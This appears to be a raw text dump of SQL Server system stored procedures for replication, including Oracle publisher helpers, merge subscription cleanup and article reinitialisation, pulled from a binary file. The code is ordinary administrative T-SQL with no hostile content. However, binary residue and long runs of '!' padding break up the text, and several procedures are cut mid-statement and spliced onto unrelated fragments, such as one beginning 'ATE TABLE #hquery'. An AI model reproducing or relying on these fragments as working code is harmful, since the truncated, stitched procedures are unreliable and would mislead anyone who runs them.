                                'charset=' + convert(varchar(255), ServerProperty('sqlcharsetname')) +
                                case when 0 = convert(int, ServerProperty('sqlsortorder'))
                                then ' collation=' + isnull(convert(varchar(255), ServerProperty('collation')), ' ')
                                else ' sort_order=' + convert(varchar(64), ServerProperty('sqlsortordername')) +
                                     ' charset_num=' + rtrim(convert(char(4), convert(int, ServerProperty('sqlcharset')))) +
                                     ' sort_order_num=' + rtrim(convert(char(4), convert(int, ServerProperty('sqlsortorder')))) end)
                                collate catalog_default
    ) as t
    where @attribute_id is null or @attribute_id = attribute_id
0M/ 8
--
-- Name:
--		sp_ORASetXactBatching
--
-- Description:
--		Enable/disable Xact Set creation at the Oracle publisher
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--		@enabled		== enabled flag
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		internal stored procedure 
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_ORASetXactBatching
(
	@publisher		sysname,
	@enabled		bit
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @pubid		int
	DECLARE @cmd			nvarchar(400)
	DECLARE	@InsColumnList		nvarchar(200)
	DECLARE	@SelectColumnList	nvarchar(200)
	
	SET NOCOUNT ON

	--
	-- Security Check: require sysadmin
	--
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN (1)
	END
	
	-- Get publisher ID
	SELECT @pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Verify enable flag is 0 or 1
	if @enabled IS NULL
	BEGIN
		RAISERROR (21788, 16, -1)
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- Update the Xact Batching enabled flag in HREPL_Publisher table
	INSERT INTO #hquery(cmd) VALUES (N'UPDATE HREPL_PUBLISHER SET PUBLISHER_XACTSETENABLED = ')
	INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @enabled))
	
	EXEC @retcode = sys.sp_IHquery @publisher
	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		RAISERROR (21789, 16, -1, @publisher)
		RETURN (1)
	END

	RETURN(0)
END
0, 8830W+ '8create procedure sys.sp_MSdropview_internal
    @viewname sysname
as
    declare @command        nvarchar(1000)
    declare @owner sysname
    
    if OBJECT_ID(@viewname, 'V') is not NULL
    begin    
        select @owner = TABLE_SCHEMA from INFORMATION_SCHEMA.VIEWS where TABLE_NAME = @viewname
        set @command = 'drop view ' + quotename(@owner) + '.' + quotename(@viewname)
        exec (@command)
        if @@ERROR <>0 
        begin
            return (1)
        end
    end
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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_mergesubscription_cleanup 
(
    @publisher        sysname,
    @publisher_db    sysname,
    @publication     sysname
) 
AS
BEGIN
    set nocount on
    declare @pubid                 uniqueidentifier
    declare @artid                 uniqueidentifier
    declare @retcode            smallint
    declare @subscription_type  int
    declare @objid              int
    declare @objectname         sysname
    declare @objectowner        sysname

    exec @retcode = sys.sp_MSreplcheck_subscribe
    if (@retcode <> 0 or @@error <> 0)
        return 1

    /*
    ** if there is nothing to cleanup, then just return.
    */
    if object_id('sysmergesubscriptions') is NULL
        return (0)

    /* This only gets called after database is enable to subscribe, so dbo.sysmergepublications should exist */
    select @pubid = pubid FROM dbo.sysmergepublications 
        WHERE name = @publication and UPPER(publisher)=UPPER(@publisher) and publisher_db=@publisher_db

    /* Normal case - nothing to cleanup, just return */
    if @pubid is null
        return (1)

    select @subscription_type = subscription_type from dbo.sysmergesubscriptions where pubid=@pubid and subid<>pubid

    /* This procedure is not intended to be used for cleanning-up pull/anonymous subscriptions */
    if @subscription_type > 0
    begin
        raiserror(20091, 16, -1)
        return (1)
    end

    /* make sure that we are not calling this proc on the publisher and publisher database */
    if ((UPPER(@publisher) = UPPER(publishingservername())) and (@publisher_db = db_name()))
    begin
        raiserror(21691, 16, -1)
        return (1)
    end

    /* Clean up the articles for this publication, and delete the row */
    select @artid = artid FROM dbo.sysmergearticles WHERE pubid = @pubid
    while @artid is not null
    begin
        if not exists (select * from dbo.sysmergearticles WHERE artid = @artid and pubid <> @pubid)
            begin
                exec @retcode=sys.sp_MSarticlecleanup @pubid, @artid
                if @retcode<>0 or @@ERROR<>0 return (1)
            end
        delete from dbo.sysmergepartitioninfo where artid = @artid and pubid = @pubid
        delete from dbo.sysmergearticles where artid = @artid and pubid = @pubid
        set @artid = NULL
        select @artid = artid FROM dbo.sysmergearticles WHERE pubid = @pubid
    end
        
    /* Cleanup the schema articles */

    /* Unmark all schema article objects unconditionally */
    if object_id('sysmergeschemaarticles') is not NULL
    begin
        declare hschemaarticle_cur cursor local fast_forward for
            select destination_object, destination_owner from dbo.sysmergeschemaarticles where
            pubid = @pubid 
        for read only
        open hschemaarticle_cur
        fetch hschemaarticle_cur into @objectname, @objectowner
        while (@@fetch_status<>-1)
        begin
                -- Ignore errors
                exec  sys.sp_MSunmarkschemaobject @objectname, @objectowner    
                fetch hschemaarticle_cur into @objectname, @objectowner
        end
        close hschemaarticle_cur
        deallocate hschemaarticle_cur

        /* Delete all schema article rows for this publication*/
        delete from dbo.sysmergeschemaarticles where pubid = @pubid
    end

    exec @retcode = sys.sp_resetsnapshotdeliveryprogress @drop_table = N'true'
    if @retcode <> 0 or @@error <> 0
    begin
        goto UNDO
    end

    /* 
    ** Make sure you NULL out gen_cur for other articles that share this table 
    ** since we are deleting the genhistroy row for that generation 
    */
    update dbo.sysmergearticles set gen_cur=NULL where gen_cur in
        (select generation from dbo.MSmerge_genhistory where pubid = @pubid)
        
    declare @publication_number smallint
    select @publication_number = publication_number from dbo.sysmergepublications where pubid = @pubid
    /* Now clean up any traces in other system tables */
    delete from dbo.MSmerge_generation_partition_mappings where publication_number = @publication_number
    delete from dbo.MSmerge_genhistory where pubid = @pubid 
    delete from dbo.MSmerge_replinfo where repid in (select subid from dbo.sysmergesubscriptions where pubid = @pubid)

    -- delete supportability settings for the subscriptions that we are about to delete.
    delete from dbo.MSmerge_supportability_settings where pubid = @pubid
    delete from dbo.MSmerge_log_files where pubid = @pubid

    delete from dbo.sysmergesubscriptions where pubid = @pubid
    exec sys.sp_MScleanup_subscriber_history
    delete from dbo.MSmerge_current_partition_mappings where publication_number = @publication_number
    delete from dbo.MSmerge_past_partition_mappings where publication_number = @publication_number
    -- drop the partition evaluation proc if it exists
    declare @partition_id_eval_proc nvarchar(260)
    select @partition_id_eval_proc = quotename(partition_id_eval_proc) from dbo.sysmergepublications where pubid = @pubid
    if @partition_id_eval_proc is not null and object_id(N'dbo.' + @partition_id_eval_proc) is not null
    begin
        exec (N'drop procedure dbo.' + @partition_id_eval_proc)
        if @@error <> 0
            return 1
    end

    delete from dbo.MSmerge_partition_groups where publication_number = @publication_number
    delete from dbo.sysmergepublications where pubid = @pubid

    delete from dbo.sysmergeschemachange where pubid = @pubid

    -- If the only remaining subscriptions are old entries (before restore),
    -- we remove them now.
    if not exists (select * from dbo.sysmergesubscriptions 
                        where status <> 7) -- REPLICA_STATUS_BeforeRestore
    begin
        delete from dbo.sysmergesubscriptions
        truncate table dbo.MSmerge_supportability_settings
        truncate table dbo.MSmerge_log_files
        truncate table dbo.MSrepl_errors
        truncate table dbo.MSmerge_history
        truncate table dbo.MSmerge_articlehistory
        truncate table dbo.MSmerge_sessions
        delete from dbo.MSmerge_replinfo
    end


    /* 
    ** If last subscription is dropped and the DB is not enabled for publishing,
    ** then remove the merge system tables
    */
    IF (not exists (select * from dbo.sysmergesubscriptions )) 
        AND (select category & 4 FROM master.dbo.sysdatabases WHERE name = DB_NAME() collate database_default )=0
    BEGIN
        execute @retcode = sys.sp_MSdrop_mergesystables @whattodrop=3
        if @@ERROR <> 0 or @retcode <> 0 return (1)

        execute @retcode=sys.sp_MSrepl_ddl_triggers @type='merge', @mode='drop'
        if @@ERROR <> 0 or @retcode <> 0 return (1)         
    END

    return 0
UNDO:
    return(1)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`}	<6&A0' 8
--
-- Name:    
--          sp_ORAaddarticle
--          
-- Description: 
--          Add Oracle article
--  
-- Security: 
--          Internal
--
-- Returns:
--          Success/failure
--      
-- Notes:
--			This stored procedure calls the procudure HREPL.PublishTable to create
--			the replication trigger, the tracking table, and the views needed to gather change data 
--			for a table published in a transactional publication.  For a table published in a
--			snapshot publication, HREPL.PublishTable is called to create the article view needed
--			by the snapshot agent.
--
-- Owner:   
--          <current owner> 


CREATE PROCEDURE sys.sp_ORAaddarticle
(
	@publisher			sysname,
	@owner				sysname,
	@tablename			sysname,
	@table_id			int,
	@OptimizeTrigger	bit,
	@RecreateTriggers	bit,
	@XCALL				bit,
	@article_view		nvarchar(255),
	@columns			binary(128),
	@publishedcolumns	binary(128),
	@repl_freq			int,
	@filter_clause		ntext,
	@distributortimestamp	datetime,
	@instance_id		int
)
AS	
BEGIN
	DECLARE @retcode int
	DECLARE @triggerstyle int

	SET NOCOUNT ON

	-- Define sp_IHquery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)
	
	-- Set trigger style
	set @triggerstyle = @OptimizeTrigger
	if @triggerstyle = 1 and @XCALL = 1
		set @triggerstyle = 2 
	
	if @filter_clause is not null and DATALENGTH(@filter_clause) > 0
	BEGIN
		--  Setup Call to the remote routine to publish the table
		INSERT INTO #hquery (cmd) VALUES (N'{call HREPL.PublishTable(')
		INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@owner, '''') + N',')
		INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@tablename, '''') + N',') 
		INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @table_id) + N',')
		INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @triggerstyle) + N',')
		INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @RecreateTriggers) + N',') 
		INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@article_view, '''') + N',')
		INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @repl_freq) + N',')
		INSERT INTO #hquery (cmd) VALUES (QUOTENAME(CONVERT(NVARCHAR(255), @distributortimestamp, 121), '''') + N',')
		INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @instance_id) + N',')
		INSERT INTO #hquery (cmd) VALUES (N'''' + RIGHT(sys.fn_varbintohexstr(@columns), 256) + N''',')
		INSERT INTO #hquery (cmd) VALUES (N'''' + RIGHT(sys.fn_varbintohexstr(@publishedcolumns), 256) + N''',') 
		INSERT INTO #hquery (cmd) VALUES (sys.fn_replquotename(@filter_clause, '''') collate database_default + N')}')
	END	
	else
	BEGIN
		--  Setup Call to the remote routine to publish the table
		INSERT INTO #hquery (cmd) VALUES (N'{call HREPL.PublishTable(')
		INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@owner, '''') + N',')
		INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@tablename, '''') + N',')
		INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @table_id) + N',')
		INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @triggerstyle) + N',')
		INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @RecreateTriggers) + N',') 
		INSERT INTO #hquery (cmd) VALUES (QUOTENAME(@article_view, '''') + N',')
		INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @repl_freq) + N',')
		INSERT INTO #hquery (cmd) VALUES (QUOTENAME(CONVERT(NVARCHAR(255), @distributortimestamp, 121), '''') + N',')
		INSERT INTO #hquery (cmd) VALUES (CONVERT(NVARCHAR(255), @instance_id) + N',')
		INSERT INTO #hquery (cmd) VALUES (N'''' + RIGHT(sys.fn_varbintohexstr(@columns),256) + N''',')
		INSERT INTO #hquery (cmd) VALUES (N'''' + RIGHT(sys.fn_varbintohexstr(@publishedcolumns),256) + N''', NULL)}')
	END

	EXEC @retcode = sys.sp_IHquery @publisher

	IF  (@@error <> 0 OR @retcode <> 0)
	BEGIN
		RAISERROR (21790, 16, -1, @owner, @tablename, @publisher)
		RETURN (1)
	END

	RETURN(0)
END	
0/@ 8create procedure sys.sp_MSpeersendresponse
(
	@request_id				int,
	@originator				sysname,
	@originator_db			sysname,
	@originator_publication	sysname
)
as
begin
	set nocount on

	declare @retcode		int,
			@cmd			nvarchar(4000),
			@response_srvr	sysname,
			@response_db	sysname

	-- security check for subscriber
	-- Though the work below is related to a publisher, we use 
	-- a check for the subscriber because this is normally executed
	-- by the distribution agent at a subscriber (republisher).
	-- this should only be used by peer to peer subscribers.
	exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @@error <> 0 or @retcode <> 0 
    begin
        return 1
    end

	select @cmd = NULL,
			@response_srvr = publishingservername(),
			@response_db = db_name()

	-- if are on the originator then no-op
	if UPPER(@originator) = UPPER(@response_srvr)
			and @originator_db = @response_db
	begin
		return 0
	end
			
	begin transaction tr_sp_MSpeersendresponse
	save transaction tr_sp_MSpeersendresponse

	select @cmd = N'exec sys.sp_MSpeerapplyresponse @request_id=' + cast(@request_id as nvarchar) +
												N',@originator=N' + quotename(@originator, '''') +
												N',@originator_db=N' + quotename(@originator_db, '''') +
												N',@response_srvr=N' + quotename(@response_srvr, '''') +
												N',@response_db=N' + quotename(@response_db, '''')

	exec @retcode = sys.sp_MSpeertopeerfwdingexec @command = @cmd,
													@publication = @originator_publication
	if @@error <> 0 or @retcode <> 0
		goto FAILURE

	commit transaction tr_sp_MSpeersendresponse

	return 0
FAILURE:
	rollback transaction tr_sp_MSpeersendresponse
	commit transaction

	return 1
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`u<S_B+Uޒ0 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_nodes as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_nodes
0@ N8create procedure sys.sp_MSreinit_hub
	@publisher		sysname,
	@publisher_db	sysname,
	@publication	sysname,
	@upload_first	bit
AS
	-- Lightweight subscribers never are republishers.
	if 1 = sys.fn_MSuselightweightreplication
				(@publisher, @publisher_db, @publication, null, null, null, null)
	begin
		return 0
	end

	declare @retcode			int
	declare @pubid				uniqueidentifier
	declare @hub_pubname		sysname
	declare @hub_publisher		sysname
	declare @hub_publisher_db	sysname
	declare @hub_pubid			uniqueidentifier
	declare @schematext			nvarchar(4000)
	declare @schemaversion		int
	declare @schemaguid			uniqueidentifier
	declare @schematype			int
	declare @compatlevel int

    -- Security Check.
	exec @retcode= sys.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
        return(1)
	
	select @pubid=pubid, @compatlevel = backward_comp_level from dbo.sysmergepublications 
		where name=@publication and UPPER(publisher)=UPPER(@publisher) and publisher_db=@publisher_db
	BEGIN TRAN
	SAVE TRAN reinithub
	
	/* Find all publications that are being republished at the subscriber */
	declare reinit_hub CURSOR LOCAL FAST_FORWARD FOR select DISTINCT p.pubid, p.name, p.publisher, p.publisher_db FROM dbo.sysmergepublications p
		where UPPER(p.publisher)=UPPER(publishingservername()) and p.publisher_db=db_name()
			and exists (select * from dbo.sysmergearticles where (objid in 
					(select objid from dbo.sysmergearticles where pubid=@pubid)) and (objid in 
					(select objid from dbo.sysmergearticles where pubid=p.pubid))) and p.pubid<>@pubid
	FOR READ ONLY
	open reinit_hub
	fetch reinit_hub into @hub_pubid, @hub_pubname, @hub_publisher, @hub_publisher_db
	while (@@fetch_status<>-1)
	begin
		if @upload_first=1
		begin
			update dbo.sysmergesubscriptions set status=5 where pubid=@hub_pubid
			if @@ERROR<>0
				goto FAILURE
		end
		else
		begin
			-- if they have previously requested reinit with upload first=true, status
			-- has been changed to 5. We have lost the info about the status before the 
			-- previous reinit. Use last_sync_status to determine whether the new status
			-- should be 0 or 1.
			update dbo.sysmergesubscriptions set status = 
				case when last_sync_status is null then 0 else 1 end
			where pubid=@hub_pubid
			and status = 5
			
			if @@ERROR<>0
				goto FAILURE
		end
		select @schematext = 'exec dbo.sp_MSreinit_hub '+ QUOTENAME(@hub_publisher) + ', ' + QUOTENAME(@hub_publisher_db) + ', ' + QUOTENAME(@hub_pubname) + ', ' + convert(nvarchar, @upload_first)
		select @schemaversion = schemaversion from dbo.sysmergeschemachange
		if (@schemaversion is NULL)
			set @schemaversion = 1
		else
			select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange		
		set @schemaguid = newid()
		if @upload_first=0
			set @schematype = 12 /* reinit_all */
		else
			set @schematype = 14 /*reinitwithupload */
		exec @retcode=sys.sp_MSinsertschemachange @hub_pubid, null, @schemaversion, @schemaguid, @schematype, @schematext
		if @@ERROR<>0 or @retcode<>0
		begin
			select @retcode = 1
			GOTO FAILURE
		end
		if @compatlevel < 40
		begin
    		raiserror(21354, 10, -1, @hub_pubname)
    		exec @retcode=sys.sp_MSBumpupCompLevel @hub_pubid, 40 
    		if @@ERROR<>0 or @retcode<>0		
    			GOTO FAILURE
    	end

		update dbo.sysmergepublications set snapshot_ready=2 where pubid=@hub_pubid
		if @@ERROR<>0
			goto FAILURE
		fetch next from reinit_hub into @hub_pubid, @hub_pubname, @hub_publisher, @hub_publisher_db
	end
	close reinit_hub
	deallocate reinit_hub
	COMMIT TRAN
	return (0)
FAILURE:
	close reinit_hub
	deallocate reinit_hub
	raiserror('Error occurred when applying reinit-all command at subscribers', 16, -1)
	if @@TRANCOUNT >0 
	begin
		ROLLBACK TRANSACTION reinithub
		COMMIT TRAN
	end
	return (0)
ATE TABLE #hquery
		INSERT INTO #hquery (cmd) VALUES (N'DROP PROCEDURE HREPL_DROPPUBLISHER')
		EXEC @result = sys.sp_IHquery @publisher
		IF (@result != 0)
		BEGIN
			SET @retcode = 1
		END
	END
	
	-- Verify HREPL_ExecuteCommand procedure exists
	TRUNCATE TABLE #objcheck
	TRUNCATE TABLE #hquery
	INSERT INTO #hquery(cmd) VALUES ('SELECT OBJECT_NAME FROM ALL_OBJECTS ')
	INSERT INTO #hquery(cmd) VALUES ('WHERE OWNER = ' + QUOTENAME(@owner, '''') + ' ')
	INSERT INTO #hquery(cmd) VALUES ('AND OBJECT_NAME = ''HREPL_EXECUTECOMMAND''')
	INSERT INTO #hquery(cmd) VALUES ('AND OBJECT_TYPE = ''PROCEDURE''')

	EXEC @retcode = sys.sp_ORAremotequery	@Server				= @publisher,
											@SelectColumnList	= N'OBJECT_NAME',
											@InsTable			= N'#objcheck',
											@InsColumnList		= N'obj'

	IF (@retcode != 0) OR (@@ERROR != 0)
	BEGIN
		RETURN (1)
	END

	IF EXISTS (SELECT obj FROM #objcheck)
	BEGIN
		-- Drop helper proc HREPL_ExecuteCommand
		TRUNCATE TABLE #hquery
		INSERT INTO #hquery (cmd) VALUES (N'DROP PROCEDURE HREPL_EXECUTECOMMAND')
		EXEC @result = sys.sp_IHquery @publisher
		IF (@result != 0)
		BEGIN
			SET @retcode = 1
		END
	END

	RETURN(@retcode)
END	
0_ 88"

                GOTO  UNDO
            END

            IF @check_only = 0 
            BEGIN
                EXEC @retcode = sys.sp_reinitsubscription	@publication		= @publication, 
															@article			= @article,
															@subscriber			= 'all',
															@for_schema_change	= 1,
															@publisher			= @publisher
															,@ignore_distributor_failure = @ignore_distributor_failure

                IF @@ERROR <> 0 OR @retcode <> 0
                BEGIN
                    GOTO UNDO
                END

                -- Raise a warning. Subscriptions is reintialized.
                RAISERROR(20606, 10, -1)
            END
        END
    END

    COMMIT TRAN sp_MSreinit_article
    
    RETURN 0
UNDO:
    IF @@TRANCOUNT > 0
    BEGIN
        ROLLBACK TRAN sp_MSreinit_article
        COMMIT TRAN 
    END
    RETURN 1
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`B
<(_B'oV0& 8create procedure sys.sp_MSreinit_article
(
	@publication				sysname,
	@article					sysname = N'%',
	@need_new_snapshot			bit = 0,
	@need_reinit_subscription	bit = 0,
	@force_invalidate_snapshot	bit = 0,
	@force_reinit_subscription	bit = 0,
	@check_only					bit = 0,
	@from_drop_publication		bit = 0,
	@publisher					sysname = NULL,
	@publisher_type				sysname = N'MSSQLSERVER'
	,@ignore_distributor_failure bit = 0
)
AS
BEGIN
    DECLARE @retcode				int,
			@active					tinyint,
			@subscribed				tinyint,
			@artid					int,
			@pubid					int,
			@none					tinyint,
			@immediate_sync_ready	bit,
			@allow_anonymous		bit,
			@loc_publisher			sysname

	-- Initialize constants
    SELECT	@active		= 2,
    		@subscribed	= 1,
    		@none		= 2,
    		@active		= 2

    --
    -- Verify publication exists
    --
	SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

	IF (@pubid IS NULL)
	BEGIN
		RAISERROR (20026, 11, -1, @publication)
		RETURN (1)
	END

	-- Get pub info
	SELECT	@immediate_sync_ready	= immediate_sync_ready,
			@allow_anonymous		= allow_anonymous 
	FROM	syspublications
	WHERE	pubid = @pubid
		
	IF @publisher_type = N'MSSQLSERVER' AND @publisher IS NULL
	BEGIN
		-- Set publisher name
		SELECT	@loc_publisher = publishingservername()
	END
	ELSE
	BEGIN
		SELECT @loc_publisher = @publisher
	END
    
    IF @article = N'%'
    BEGIN
        SELECT	@artid = 0
	END
    ELSE
    BEGIN
    	SELECT	@artid = artid
    	FROM	sysarticles with (READPAST)
    	WHERE	name = @article
    	  AND	pubid = @pubid
	END

    begin tran 
    save tran sp_MSreinit_article

	-- If at publication level, we know that we should do it since 
	-- @immediate_sync_ready = 1
	-- If at article level, we only do it for the articles that have been
	-- processed by the snapshot agent, but not new articles.
	-- sp_addarticle calls this proc at publication level.
	-- It also make calls to sp_articlecolumn and sp_articleview which in turn
	-- call this sp. We don't want to do anything here with those calls.
    IF @need_new_snapshot = 1 AND @immediate_sync_ready = 1 AND
    (@artid = 0 OR EXISTS
		(
			SELECT	*
			FROM	syssubscriptions s,
					sysarticles a
			WHERE	s.artid	 = a.artid
			  AND	a.pubid	 = @pubid
			  AND	s.srvid	 < 0
			  AND	s.status = @active
			  AND	s.artid	 = @artid
		)
	)
	BEGIN
		-- Fail and raiserror error
		if @force_invalidate_snapshot = 0
		begin
			raiserror(20607, 16, -1)
			goto UNDO
		end

		IF @check_only = 0
		BEGIN
			UPDATE	syspublications
			SET		immediate_sync_ready = 0
			WHERE	pubid = @pubid
			  AND	immediate_sync_ready <> 0

			IF @@ERROR <> 0
			BEGIN
				GOTO UNDO
			END

			DECLARE	@distributor	sysname,
					@distribdb		sysname,
					@distproc		nvarchar (255),
					@dbname			sysname

			select @dbname = db_name()

			EXEC @retcode = sys.sp_MSrepl_getdistributorinfo	@publisher	= @publisher,
																@rpcsrvname	= @distributor OUTPUT,
																@distribdb	= @distribdb OUTPUT
			IF (@retcode <> 0 OR @@ERROR <> 0) and @ignore_distributor_failure = 0
				goto  UNDO

			IF (@distribdb IS NULL OR @distributor IS NULL) and @ignore_distributor_failure = 0
			BEGIN
				RAISERROR (14071, 16, -1)
				goto  UNDO
			END
			
			
			IF (@distribdb IS not NULL and @distributor IS not NULL) 
			BEGIN
